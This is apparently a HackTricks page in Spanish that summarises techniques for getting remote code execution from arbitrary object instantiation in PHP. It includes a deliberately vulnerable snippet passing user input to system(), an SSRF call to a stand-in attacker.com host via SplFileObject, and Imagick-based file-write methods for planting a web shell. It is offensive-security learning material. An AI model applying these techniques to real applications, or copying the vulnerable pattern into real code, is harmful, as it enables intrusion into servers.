PHP - RCE abusando de la creaci贸n de objetos: new $_GET["a"]($_GET["b"])
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Esto es b谩sicamente un resumen de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Introducci贸n
La creaci贸n de nuevos objetos arbitrarios, como new $_GET["a"]($_GET["a"])
, puede llevar a la Ejecuci贸n Remota de C贸digo (RCE), como se detalla en un informe. Este documento destaca varias estrategias para lograr RCE.
RCE a trav茅s de Clases Personalizadas o Autocarga
La sintaxis new $a($b)
se utiliza para instanciar un objeto donde $a
representa el nombre de la clase y $b
es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde pueden presentarse como otros tipos.
Considera el fragmento de c贸digo a continuaci贸n:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
En este caso, establecer $a
en App
o App2
y $b
en un comando del sistema (por ejemplo, uname -a
) resulta en la ejecuci贸n de ese comando.
Las funciones de autoloading pueden ser explotadas si no hay tales clases accesibles directamente. Estas funciones cargan autom谩ticamente clases desde archivos cuando se necesitan y se definen utilizando spl_autoload_register
o __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
El comportamiento de la carga autom谩tica var铆a con las versiones de PHP, ofreciendo diferentes posibilidades de RCE.
RCE a trav茅s de Clases Incorporadas
Al carecer de clases personalizadas o cargadores autom谩ticos, las clases incorporadas de PHP pueden ser suficientes para RCE. El n煤mero de estas clases var铆a entre 100 y 200, seg煤n la versi贸n de PHP y las extensiones. Se pueden listar utilizando get_declared_classes()
.
Los constructores de inter茅s se pueden identificar a trav茅s de la API de reflexi贸n, como se muestra en el siguiente ejemplo y el enlace https://3v4l.org/2JEGF.
RCE a trav茅s de m茅todos espec铆ficos incluye:
SSRF + Deserializaci贸n de Phar
La clase SplFileObject
permite SSRF a trav茅s de su constructor, permitiendo conexiones a cualquier URL:
new SplFileObject('http://attacker.com/');
SSRF puede llevar a ataques de deserializaci贸n en versiones de PHP anteriores a 8.0 utilizando el protocolo Phar.
Explotando PDOs
El constructor de la clase PDO permite conexiones a bases de datos a trav茅s de cadenas DSN, lo que potencialmente habilita la creaci贸n de archivos u otras interacciones:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Las versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a trav茅s de los constructores SoapClient
y SimpleXMLElement
, dependiendo de la versi贸n de libxml2.
RCE a trav茅s de la extensi贸n Imagick
En el an谩lisis de las dependencias de un proyecto, se descubri贸 que Imagick podr铆a ser aprovechado para ejecuci贸n de comandos al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
Analizador VID
Se identific贸 la capacidad del analizador VID de escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podr铆a llevar a la colocaci贸n de un shell PHP en un directorio accesible por la web, logrando Ejecuci贸n Remota de C贸digo (RCE).
Analizador VID + Carga de Archivos
Se observa que PHP almacena temporalmente los archivos subidos en /tmp/phpXXXXXX
. El analizador VID en Imagick, utilizando el protocolo msl, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicaci贸n elegida. Este m茅todo ofrece un enfoque adicional para lograr la escritura arbitraria de archivos dentro del sistema de archivos.
Ca铆da de PHP + Fuerza Bruta
Un m茅todo descrito en el escrito original implica subir archivos que provocan una ca铆da del servidor antes de su eliminaci贸n. Al forzar el nombre del archivo temporal, se vuelve posible que Imagick ejecute c贸digo PHP arbitrario. Sin embargo, se encontr贸 que esta t茅cnica solo era efectiva en una versi贸n desactualizada de ImageMagick.
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.